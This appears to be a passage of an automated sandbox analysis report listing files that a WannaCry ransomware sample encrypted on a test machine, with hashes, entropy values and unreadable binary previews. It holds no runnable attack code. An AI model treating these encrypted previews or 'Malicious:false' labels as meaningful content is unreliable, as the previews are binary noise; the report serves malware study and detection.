                                                                                                      SHA-512:E24EB44F9C1D201B5697A23E44E52FA0210CE6C50CAE7B2A243956CFABD36888BA676F36D52470300C1C2E38EA0A4885BC882AE116F1B1FD1ECA33BDD6F78D47
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...S..}\..#..+.c..;.W[..@eJ.GF..D....$....<....|hG%M.D.&ry.....[?O8..FG..Fq..6..pJZ.K.W!,.a.....*.{u.T.UOT...y...#....158.R/.#:*..]...l.&.#rU.lg.46.U..ZM2Eu*....h..d.. ..`.s..\..h.`...`...o..........H.h..<.GMN....7L.i.4.igP.g)..Z.%......b...58.!.m..q.....".k......D.p@..:\....-...t./]..l|o..%.0..c.`D./0..F.....C.M......j.....(.x(....`...70p?.MM.3....rN....g....).).OC.....e...=...Z...>..U6.}.+D..z0..H1..#.WRB..M)~Z.hM...PX...H./..-...j.l-.F.......'.@.T<.#...~f.^.U.|.....y....y.n....._.3>/.*|=.7.)..2onx.NQ..qu...%dyqJ....B..B.,....r*...yx...._.?..E/K.....&bMz\...@....]..gV}l....+.D\a.B.._...ACD..<j}..d...V%...<(..q-..E%..Qr;.....'.q.......VN....0.......B..v..g.....E...HP......&.c.....Cn....6HaiH.rcF......&...D6....".|#.....c..e..Y.t7.u.H...Q/..;.........Q..Q.F....|....{wd.N...X..c.>...4....Z.1....5Re.Be....U.[..yQ....'.Sv.K.........L.........|.x.A.5v.p..jq0.........f..w..H..@^...S.O..Ri...r.K...].S........5.]..i'....9.[..8..........l.+

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.mp3.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.823929083238905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkADBd6iwtKVD5qTbwpbChmUbAhhFvpvZTIzBBKC5MfeeJaaguILIy1C/K5j+Bu3:bkA9d6iGwwhtYvpvdOjJMfeeJaagnIcR
                                                                                                      MD5:25CD944554E7C880FA24D065E2CF859E
                                                                                                      SHA1:18ABC0341C4B07FD01681B9960BA7074E5B68D5B
                                                                                                      SHA-256:8737A500B95BE53FFCE87AB8FB375C584F10FC64BC9792CB36A0CE743EFEF219
                                                                                                      SHA-512:E493A6F9CA94C63FA79F7E2F216F157A991E156D7BEEE6053BF2B2DE52FDE9AD6AD36803E1265FAF4777ED50B188A3DF6D2324CBA66B97ADC16E3073BB3DE2E5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......nM.w...m....FP.cJA..'.X..k...:j.....i.wJ.2.8#.........U.....h.c...T.J..J...06)..fC..0./p..,.......;..p>..c.!:u....?.'..b....^...P0.._.`..n2..pa,k..HFu|.....NP2......&j1.n.N.E.N,.=v...,.(P..8.H............[h.X.}.x.6.Wj..8....0;^..A...(.d...................Z`.......,........U....(!Q. _<..;o...`..1..."8..?...D.f.........>.{.....Nl.*.......kZr...5.%.G....ic..R....V'8..y.s..-.jU;/..M....m..j.e..._.m..-........K..P......>....K..% .R..=.dJ...u.3...G$}..4j.i..U..TU.E.....!&.%..u....[.bW.B.t!..e....V..S.P.i......G..q."..=....J..R/Y...C.lv"..)H.A.C.5.........v....=..s...90.._2l..>$ZRhW...z.. .`......7....T,.G.X....F.....m.....p.2..-.62_.ez#.....X.b.X.....3...M.(....9.....(t.;(!A.GE......++....*.n...<$..n...D0...'.>H..U..."...*E..!.......{....1.E...1...W;....E...}.bq.B...1..^.>.J.9..7;?.[..S...M.J.n}.a.E.y......!...1......8p.."[.z}.2...]5..0Q......K.A.Z._.f.>....iCx3.....P..7..`-8lTgC{Eo].....M=...T..N.+s.^...d........:!./eV..tb.[..

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.mp3.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.823929083238905
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkADBd6iwtKVD5qTbwpbChmUbAhhFvpvZTIzBBKC5MfeeJaaguILIy1C/K5j+Bu3:bkA9d6iGwwhtYvpvdOjJMfeeJaagnIcR
                                                                                                      MD5:25CD944554E7C880FA24D065E2CF859E
                                                                                                      SHA1:18ABC0341C4B07FD01681B9960BA7074E5B68D5B
                                                                                                      SHA-256:8737A500B95BE53FFCE87AB8FB375C584F10FC64BC9792CB36A0CE743EFEF219
                                                                                                      SHA-512:E493A6F9CA94C63FA79F7E2F216F157A991E156D7BEEE6053BF2B2DE52FDE9AD6AD36803E1265FAF4777ED50B188A3DF6D2324CBA66B97ADC16E3073BB3DE2E5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......nM.w...m....FP.cJA..'.X..k...:j.....i.wJ.2.8#.........U.....h.c...T.J..J...06)..fC..0./p..,.......;..p>..c.!:u....?.'..b....^...P0.._.`..n2..pa,k..HFu|.....NP2......&j1.n.N.E.N,.=v...,.(P..8.H............[h.X.}.x.6.Wj..8....0;^..A...(.d...................Z`.......,........U....(!Q. _<..;o...`..1..."8..?...D.f.........>.{.....Nl.*.......kZr...5.%.G....ic..R....V'8..y.s..-.jU;/..M....m..j.e..._.m..-........K..P......>....K..% .R..=.dJ...u.3...G$}..4j.i..U..TU.E.....!&.%..u....[.bW.B.t!..e....V..S.P.i......G..q."..=....J..R/Y...C.lv"..)H.A.C.5.........v....=..s...90.._2l..>$ZRhW...z.. .`......7....T,.G.X....F.....m.....p.2..-.62_.ez#.....X.b.X.....3...M.(....9.....(t.;(!A.GE......++....*.n...<$..n...D0...'.>H..U..."...*E..!.......{....1.E...1...W;....E...}.bq.B...1..^.>.J.9..7;?.[..S...M.J.n}.a.E.y......!...1......8p.."[.z}.2...]5..0Q......K.A.Z._.f.>....iCx3.....P..7..`-8lTgC{Eo].....M=...T..N.+s.^...d........:!./eV..tb.[..

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.816190384016078
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:b3dofn2DJov/rKHO+bPVX6wNc31B2KvJ/pyppoXEjh:bFFov/rfe5Wly8XEjh
                                                                                                      MD5:45054A64E441D0CE1D83A9B7467C6675
                                                                                                      SHA1:68DCB3E982567CD1DFF3CD9A7D7D0257AC51F881
                                                                                                      SHA-256:5F1356A8515DCFBEAF534A17A418A0E8A22C8BFA9DE3261531102417370CABB9
                                                                                                      SHA-512:A86D9B27FEE59FDEC8AAB52810A73B5D6D6A60C284F511D3388C431A4D2B8ED1811E3FE4D3EC66D310C3DAC115118E6A07E02F5F5D0B18D689190F2647690296
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:p.O&..F..vt....2R.C.ZI.$..^.....:......'.l......=u).[..{M_.?...Rwm....7e!.(-4....s...S.....Wb.G=..=B...ri....DH..!].'S..=f.G*.'.C_.....?..Z^.....5o.`P........;...<G|s...k.W..}.x...E_CNBH.....p.k...a..jb...1....q[.............i..k.......Qgu...P._..8.l..g;..._,Cf.......d.05....;g......s/....\..NG........Yh..!.@......H.dZ...h.y @2H.TK.. oW.gb.h.z..I.8.3.o(.p...{v}.`m.@te..Zar.l..a.......?.....TGc..;z..~..%y*......Q.5...3.....\.^.&.G.Y.... .lf6...X-.......C...9....5.pN1.9....C...f.2..s~..:....N.Q....\|.;._Y......<...\.Y........v.c.F.p.%._...r..Ab...|z........$%....S..CR.....SV...X..w{m....B..+j........3\..mS.LT...J...<M^. .7e.[........)6...M...X.g=v.'\k.pM[Y.'....K.^..lm.uB.. _.H...E!......k.....9..v.`...![.}.wpn......i.....\..T@P;1`...p. ...,]......&8.f.Xs...?.!##3/...U7|.uZS,D.......Ly0F.q...)....$...<.j..y..\O.._...<hj..K.p..R..e.!..jV.H.s".3!{&.&.$.XF.....]....v..hF......o.0.4..Y.]#.S.......9F.......#..V..LU....Wf|...t.....F.

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.848607818809466
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvEGl1pz054c3ZEGJwpf1tvfrc666A+QbO7v/98L4uRoqyE/vTb:bkVvzKnUf1F76R7Oj/+L4uHP
                                                                                                      MD5:A3A1E040D65F359CE9CA883ED57B37C9
                                                                                                      SHA1:61E01D65E6B7FC3FB2DE0BC15EB965A7E13ACC65
                                                                                                      SHA-256:64D5777ED60CCDF6F341B4F8A7DC1C1DFAF83EDF22F0305C8497FC2BD9FE76A1
                                                                                                      SHA-512:EBFBACF5D9D19C909745EC6773F91313B467B82FB470DD1475A9C3EBBA6E38E8B813328ABCCB26FBFEFDB2CCC3DA3ACF395764B49004B1C7A32740C7E3BEEBC8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....l.A.......4.....z.Z....A.^..`......'"..Orq..H..i.*n...1N0\=.Fc........(....M....a]..D.^.T..Kb..g...*C.1....?.....i.........@..............,..q...^.|......H.!..$.).......9ha.4.~..........F3...ns-...v.uQ..Y..4g.UT2..3x.f.QJ.^.7TC..#..f...^................}....j.;M.U........j.*n.,s..8.=|.cN<.a....k.7....l.GJ..._.=4.d...|..^5y......C\.y,,.!....@r.r..U*$..h.u......^.p9Uvlo'..a..]..k..T.|.q/.....D0.i.R.b...XZ.'....O;....nJ ....'...n.&.........[..%...n..L.....@..6t.......x..T......U.C.f.M...<cWE..?~..l.Z.-.......q..j.....H...z[]..jPP.....:..'..U....a...i.......vJ=1.-.[TH.5...q.d....]j...r.a%...l..f. .d.....Z...D.Qo.........u...)M....;...m?.Ko.(F..j.....m.4'zb%N..ky< NeU._..S<9.....Z....O..{*......V.....d..,.3....]evT1..H...f.?....`W..<.Oi.....k..<..eTCH.=.....lPj....,a.;...ZxV.C.~.....).3..3.E.,......\.[..9.Z...[4..'..G.`...C....c.Y..8..4.".....&}.`.q..L....K/d!.Q....4........cR..2P..z...Ho..cS............e.A..|..1.I2X.>...P.Q1....

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.848607818809466
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkvEGl1pz054c3ZEGJwpf1tvfrc666A+QbO7v/98L4uRoqyE/vTb:bkVvzKnUf1F76R7Oj/+L4uHP
                                                                                                      MD5:A3A1E040D65F359CE9CA883ED57B37C9
                                                                                                      SHA1:61E01D65E6B7FC3FB2DE0BC15EB965A7E13ACC65
                                                                                                      SHA-256:64D5777ED60CCDF6F341B4F8A7DC1C1DFAF83EDF22F0305C8497FC2BD9FE76A1
                                                                                                      SHA-512:EBFBACF5D9D19C909745EC6773F91313B467B82FB470DD1475A9C3EBBA6E38E8B813328ABCCB26FBFEFDB2CCC3DA3ACF395764B49004B1C7A32740C7E3BEEBC8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....l.A.......4.....z.Z....A.^..`......'"..Orq..H..i.*n...1N0\=.Fc........(....M....a]..D.^.T..Kb..g...*C.1....?.....i.........@..............,..q...^.|......H.!..$.).......9ha.4.~..........F3...ns-...v.uQ..Y..4g.UT2..3x.f.QJ.^.7TC..#..f...^................}....j.;M.U........j.*n.,s..8.=|.cN<.a....k.7....l.GJ..._.=4.d...|..^5y......C\.y,,.!....@r.r..U*$..h.u......^.p9Uvlo'..a..]..k..T.|.q/.....D0.i.R.b...XZ.'....O;....nJ ....'...n.&.........[..%...n..L.....@..6t.......x..T......U.C.f.M...<cWE..?~..l.Z.-.......q..j.....H...z[]..jPP.....:..'..U....a...i.......vJ=1.-.[TH.5...q.d....]j...r.a%...l..f. .d.....Z...D.Qo.........u...)M....;...m?.Ko.(F..j.....m.4'zb%N..ky< NeU._..S<9.....Z....O..{*......V.....d..,.3....]evT1..H...f.?....`W..<.Oi.....k..<..eTCH.=.....lPj....,a.;...ZxV.C.~.....).3..3.E.,......\.[..9.Z...[4..'..G.`...C....c.Y..8..4.".....&}.`.q..L....K/d!.Q....4........cR..2P..z...Ho..cS............e.A..|..1.I2X.>...P.Q1....

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.xlsx

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.822391707880143
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:9pCQ6tulKP0QkMUIG15003Dmj6XmvM2cQG4Xlml/YC:vNeulKvmIGr13Dm46cQG41KAC
                                                                                                      MD5:E34D495C82DD2C961CCD5BFAADEB14FC
                                                                                                      SHA1:F1E15FE266F9BE808B224C004D93B3324D779DA4
                                                                                                      SHA-256:6321C49D9257CDC802DEA49057784BE85D53A2E1C05998C2BCA90EB92F235FDB
                                                                                                      SHA-512:7B685B562DD314E0B836B595945CCB002B44056C7CFE023483413F48BFEEE166B52FBD7B927B3CCAB238CB6F2B1659EBA188A6D9E809BA8A06E41C79A7B9051C
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.?.'.N.....1r...j{..6=..X...A..p.$9.N..O.a..%.d..k..;D...'O..Q[@.....I8.....@..Z...c!.$9..}.n.W.I...qN.7....a..bJ..Y...9$.[.....e.C...?..B...$.~...[.;.?.r.~.....M..de o-..l..8wc.'b...Qd..p.E...,.YMi..*#v$_.f>.....2..z!...u..R....ur0.%..t3Us.~o..~...$_...v.L4`...?9.SZ..`..{v.he.^....T....7A&....W`.pj..].....W=[.......C.QT.ii.K..=......v.d..p.....z..........>!.#..l.En...|...... /.8..~I,..".7*....;8...J..Hp;.Y.I..6..34.q.>+.&.J h.XK..*Zo.8>..*..9J..m",:..x..$G.L...>.uR....[+..s..(.7Dh...I.l.m.|.GN....uD......._...i.....~...=...`..-.......//....6[...........x@....I'.............L..]..p.o.h.c....B...a....`DX.s.I....`x..-./[..._@."..........._.u:4..e..4%.d.2|.@....>NG...jRV.S.X........w1......."..#...%{..b...U'...7).\.*../*....+...km...wJ.0....j..dn.N.Z-........P.3........O..."'-...f.;.a...".&......t..T.%..:..>.a...T.....!.=....&.........m.......pm.G+.X.....%..$lL.5>F.&..Y1..4..Y..X.&..6.@l3..L.C.N...R*.d...Q.'.).P..1p...k..q.....6..

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.xlsx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833237858272452
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjV+y6GLEBeZ09EOEp3e61QBhtaFYWVlrkao9E/ZD:bkjV+y6VK7OOH1QBW7HXEE/V
                                                                                                      MD5:20BD5A2EF7A8FCD94BE13BC8DF5C0471
                                                                                                      SHA1:F5657D7813E94E70DE3BF33FCF3724F121100C47
                                                                                                      SHA-256:8BCF3158B1D44FD3F5EBDAA0B680F2101DB4D0C0B46AFE4BA80C6279E12077DD
                                                                                                      SHA-512:221117E664FA9F9D1B571E16210626D84EA473CA1D271CA84E824B88CDD6DA2CB2EED352AF3E8EA92B304C4E9D40890AD4BF34059042920D508C00C8B7ABFC85
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....f.'..n....e.2....;..SOzA.....-....A..9st..L..jl..!z.v.........&.o'T..8.6..:.Kq.:.ds.,....M..k^.^...ca.A .h...g.....G.Z.........Zf.........j..u.2=.p.|.g.}....7..`B.....GNl.$4D1(..Lb...!...AxG.`L.n..z.vo..N.Ds...W.....5.>.F..>O{i....-..:..z................_.Q..aP4............4K5L.h.nrC..`.F..G.-;..AS.nL.OM...dq.}[...A .........c.4..K$.w.g3...NDh."S.q.1...rs!..m\..).`l.IP."Y.D.o.G..R..q.C....i\.5J@.I......d.......U..........l.V..&.;`.E..`.....i...v`..kF..-....Rb .n...g4..I.....Zr'u6aN.....G..q....ZL....W.I;...;..b...J.t[........^.Ga...Ot.I..+E'h..`...G.[.4M'...'............nb3d...RQ>....>..mk.VxGg.....h.|...9U.)?...l......h'e. v\..$.c..4..:...,...q.Vn.+.ZBTo.k....>........CS#.?.f.]..e.9.m]....B|bc..X. .6b.......(..y.+n.....2....gx$..(.'...D.1....T%7.t.....,........[....[......f.}NGx...Tu..-..H.P..mK8L..,....5..!.G`.......Mvx".zs.9.n.Q~h..#TG.U[m..'1)...$\.4#h.av..:@...*.ap.~.1....~|...X..-i.l..h....u.P.C].S....Yg..U.^.A.7.

                                                                                                      C:\Users\user\Desktop\PALRGUCVEH.xlsx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.833237858272452
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjV+y6GLEBeZ09EOEp3e61QBhtaFYWVlrkao9E/ZD:bkjV+y6VK7OOH1QBW7HXEE/V
                                                                                                      MD5:20BD5A2EF7A8FCD94BE13BC8DF5C0471
                                                                                                      SHA1:F5657D7813E94E70DE3BF33FCF3724F121100C47
                                                                                                      SHA-256:8BCF3158B1D44FD3F5EBDAA0B680F2101DB4D0C0B46AFE4BA80C6279E12077DD
                                                                                                      SHA-512:221117E664FA9F9D1B571E16210626D84EA473CA1D271CA84E824B88CDD6DA2CB2EED352AF3E8EA92B304C4E9D40890AD4BF34059042920D508C00C8B7ABFC85
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....f.'..n....e.2....;..SOzA.....-....A..9st..L..jl..!z.v.........&.o'T..8.6..:.Kq.:.ds.,....M..k^.^...ca.A .h...g.....G.Z.........Zf.........j..u.2=.p.|.g.}....7..`B.....GNl.$4D1(..Lb...!...AxG.`L.n..z.vo..N.Ds...W.....5.>.F..>O{i....-..:..z................_.Q..aP4............4K5L.h.nrC..`.F..G.-;..AS.nL.OM...dq.}[...A .........c.4..K$.w.g3...NDh."S.q.1...rs!..m\..).`l.IP."Y.D.o.G..R..q.C....i\.5J@.I......d.......U..........l.V..&.;`.E..`.....i...v`..kF..-....Rb .n...g4..I.....Zr'u6aN.....G..q....ZL....W.I;...;..b...J.t[........^.Ga...Ot.I..+E'h..`...G.[.4M'...'............nb3d...RQ>....>..mk.VxGg.....h.|...9U.)?...l......h'e. v\..$.c..4..:...,...q.Vn.+.ZBTo.k....>........CS#.?.f.]..e.9.m]....B|bc..X. .6b.......(..y.+n.....2....gx$..(.'...D.1....T%7.t.....,........[....[......f.}NGx...Tu..-..H.P..mK8L..,....5..!.G`.......Mvx".zs.9.n.Q~h..#TG.U[m..'1)...$\.4#h.av..:@...*.ap.~.1....~|...X..-i.l..h....u.P.C].S....Yg..U.^.A.7.

                                                                                                      C:\Users\user\Desktop\QCOILOQIKC.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8234290402685
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:aEMJ4Qclo1AdaKly4l/qHOJn7/W4/OGeNt2OFHPLNfnJju9dDjYKld/9uL:HCK4EkOJn7WQaN4OFBfnJju9ljlldVuL
                                                                                                      MD5:EA5138CAAF475E93CEDE441488505699
                                                                                                      SHA1:C784A252FED2FD2B0EBC56B20DB8E21C2FD515B9
                                                                                                      SHA-256:E29E11A86F4A0B30685E6287D81E2C97357CB7B19D1543572263491B0457FC44
                                                                                                      SHA-512:01950EDDCAC0535637D99D69EBEA6B5850C422E494014C9E073B683F4C7772808C0954ED4DC9284DC0403FE1264EDD21ABAB59E4472C30F6369060835E36786A
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:l.:......V.I.J...eFp...H......../.0.k.!..Okc..N\...m..<b..}...o/...K...~.9PQ......AE1.......Z/..C....K-......q.!...bX.G.R.b@53.g...Utk...Bzy...'Q.G'....7."g.....*.M..N....%S.|Y....'...wp..j......./x~p...'...o... .(.,.&(J-....e...A.0O........X.3..Y[Z..S........=.&..>.....u..O..P...2..S....FX.]..5_..v...Pz......a........[.......D...N....|.r.W..6.......TA.....]...P:...=...'.......yx...h..........Mh5J..Kx.48......I..e...&8..d.h~.u.NB..B....%.m..~.....3.....m....}."....fc..p..GY..wK.3..R........=..U..C......mp..^T.D.nd.. .7......w.%..-t.c.)..3(N.*y.../.Pn...Ca......$/..!.G......o.GN..I..........9......C...c...b...W]...;..~...T.........A....M..?. A8;.U..L...+DU.`..B..........X..OB../-/.Yy^.G..<......B^)o)..MC.l........V....D.Z...c.&... ..@T.t...o`\{I)......IT......$o p9HZ.E.J...>.};.......6..../JS.,.o'._..l..P0...u.}....u...&.Q...xia..R..\C`t[O...y ...#K.q..J......9...3.$.`.2.u.s.T.t.@z.....!km.........c.}y...Ck.j .5x.ULErh.......T...s.

                                                                                                      C:\Users\user\Desktop\QCOILOQIKC.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847763108776159
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjhOprTWXg0cvwArMUQW3q+Y1EMfG9wrhP1IcJXhbbA5P+jMLmZJF8jqQQYgaNo:bkgpPWX1iMpWEWm6wrxTA5POvF8jqQQz
                                                                                                      MD5:6EF00EA3D6A767E12FB24FDE5A6332A3
                                                                                                      SHA1:B4806518F679BC782361AE7D360F9EB191D8399A
                                                                                                      SHA-256:4B629CBE7B07AF49D1FFDB9F50B0649357E028A8EEA5E06B4C8453D7EBBA2EA8
                                                                                                      SHA-512:315F9AD25B1ADFAD8E6F8336F2D175AB6CF687F0AE7DCEC5B32D65FFAFDEA72C5FE70287FBCF6611AB0FFEB40057CD85A764A4D7991A3C71D478505B6BD4A967
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......]v....0u .f.V|....-...].H`.pF..c.o\...A5.....x@...:0...x......./..{;....XQqjM..N..$....V......w..CR.}.U....[aK...wR0ny.z...UG.A....Iy.#a..;El.:.X._'.<..;+............3..Ml.^\.s.....x".I..zO..Z...b.X.l.?...,.p$..+$.z...3..~....J.y.5......i.W]..............T....&e...9!g....5r.!..#..;D%.H.Q.A^.I...c.u8 wJ..;z..O.....`.L.f..V..H..Q@..xD...1f,..@|.....gJ..d.~..-.......^5..db|.c...3..B.e..QK..1./.:.4...X....L...(.4....7}5..3.5....../....jL..D#.+Z7.....HR..=|."d.m..9..4).....T..&.S.EKA..0.....`Cn.....Z........c..[.(A..`]..+D....{.../..J......R.L.7...+...s.*n..y.#.Q...M..?...;.hE.*.a.Z......g(..r....D.b..@9..@^.2.....f.........Z9W....P.UI.c.w90Z.......T%.[.i.....4(....hi...8M.v...1....".=S]......G...G.|9H2.t`u....9..-..J....cB..6..1..h..6.`...*...23....... h.|..KK.G..@..a(0.m...o....../..........Ok>.......$..j5m.m.vEK...o._.|.|^B.yBQ...1.s.).X...i.x.o............~....R...K.^=.0x...~..;.rh...f......D.2!........V..j...>..V...W....o..0.

                                                                                                      C:\Users\user\Desktop\QCOILOQIKC.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.847763108776159
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkjhOprTWXg0cvwArMUQW3q+Y1EMfG9wrhP1IcJXhbbA5P+jMLmZJF8jqQQYgaNo:bkgpPWX1iMpWEWm6wrxTA5POvF8jqQQz
                                                                                                      MD5:6EF00EA3D6A767E12FB24FDE5A6332A3
                                                                                                      SHA1:B4806518F679BC782361AE7D360F9EB191D8399A
                                                                                                      SHA-256:4B629CBE7B07AF49D1FFDB9F50B0649357E028A8EEA5E06B4C8453D7EBBA2EA8
                                                                                                      SHA-512:315F9AD25B1ADFAD8E6F8336F2D175AB6CF687F0AE7DCEC5B32D65FFAFDEA72C5FE70287FBCF6611AB0FFEB40057CD85A764A4D7991A3C71D478505B6BD4A967
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......]v....0u .f.V|....-...].H`.pF..c.o\...A5.....x@...:0...x......./..{;....XQqjM..N..$....V......w..CR.}.U....[aK...wR0ny.z...UG.A....Iy.#a..;El.:.X._'.<..;+............3..Ml.^\.s.....x".I..zO..Z...b.X.l.?...,.p$..+$.z...3..~....J.y.5......i.W]..............T....&e...9!g....5r.!..#..;D%.H.Q.A^.I...c.u8 wJ..;z..O.....`.L.f..V..H..Q@..xD...1f,..@|.....gJ..d.~..-.......^5..db|.c...3..B.e..QK..1./.:.4...X....L...(.4....7}5..3.5....../....jL..D#.+Z7.....HR..=|."d.m..9..4).....T..&.S.EKA..0.....`Cn.....Z........c..[.(A..`]..+D....{.../..J......R.L.7...+...s.*n..y.#.Q...M..?...;.hE.*.a.Z......g(..r....D.b..@9..@^.2.....f.........Z9W....P.UI.c.w90Z.......T%.[.i.....4(....hi...8M.v...1....".=S]......G...G.|9H2.t`u....9..-..J....cB..6..1..h..6.`...*...23....... h.|..KK.G..@..a(0.m...o....../..........Ok>.......$..j5m.m.vEK...o._.|.|^B.yBQ...1.s.).X...i.x.o............~....R...K.^=.0x...~..;.rh...f......D.2!........V..j...>..V...W....o..0.

                                                                                                      C:\Users\user\Desktop\ZGGKNSUKOP.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.79662135077442
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:E9lS8xum90zHEIxZowXSIszbGHQnTnnFGGMhRJq3M:E9lS8xMoo3HQTnF3M7M3M
                                                                                                      MD5:F061F99392421D0BD7539854A672D4DE
                                                                                                      SHA1:5976F2E65BE8B924726BDBBD28CE96E6F619C493
                                                                                                      SHA-256:A42614ED01DB7505FE901A413E128051D97BB6B19944DAD17B85815EA20E3521
                                                                                                      SHA-512:832CFABF090BBDC412C3B564C05C7E1CE11FA7113820E97EFB8907A839B469498061E2DE1199BE73ACC59E7B5F579557FBCE5ACA45FB00A59F3EE40EE7349DC5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.>:k.*...C.fFsm..\[XS...K...9J..t.yW.. ..._.L.z.f.ajk3.3. ...Q..*.._......uG...i....g..V....u...7.%...U)..n.0.._..7...>X...B._.2.Q.. U!J...I.;{.~.)e...m!.e...P_...&..6...F-h._..m.'.K..6.!....,A{.#.$.?...$...X......O...j.C.X$yR......[U;5.......<...T}K.fgG..X"c..O_.....X!..\9.....RJ-?c..#...l.`7..u..............LH...~}.m..\q7...@y...v..K..e7.BKX^...:R{........S]..\...$....p/|......|KA.,Mq...".V...|d..o5.xG.m....Ga.F.eo.P.|!..24..s*..o.....T..2.7...|Ve...r..3.z;rM...........a.;U...n$..P...Z...{.....iIhBCpb...]R.FTjkp.._.xg.msuV.'...)M....s#...nBQ...PUk..r...*=.d.... ._|.....D\56..<....'Z..U.[...0.rj..QP..9.J....<-...s....<.g.!.k..1t2{wO....&...x oA...XqF..._/.-.p...f....<>#{(;.X5g.E........]3........WL.....A.5 !".i..f..F5..%........=O.D....Av...i....}b`.1..5)=k.5.................5P... ..~.y.1.5..jP....W...k.....4>~....;.E~.Q>>21(h.*....n.t"..........%...~j.....L.[.E6v>-cJ.x....R..5.OXj....E.0j...zi?...x...m....|..*S%'...2./P............y.

                                                                                                      C:\Users\user\Desktop\ZGGKNSUKOP.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.837937064983294
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkYdGIrPGr4UqSBjC+e63y7c1oVrOk8reShfyhhyjoJOeZoby6uSOw05TM4Qvjk:bkJIrPS4rYaQlKhgjG2Tysjk
                                                                                                      MD5:89E82571E5CB6BB9203A1891E0F0354A
                                                                                                      SHA1:91C81494231F477E065E883050B10074572F0A2B
                                                                                                      SHA-256:E046CC586A9EBC1760C5139097BD915E1515CA08B870E427671CC93AEFF83268
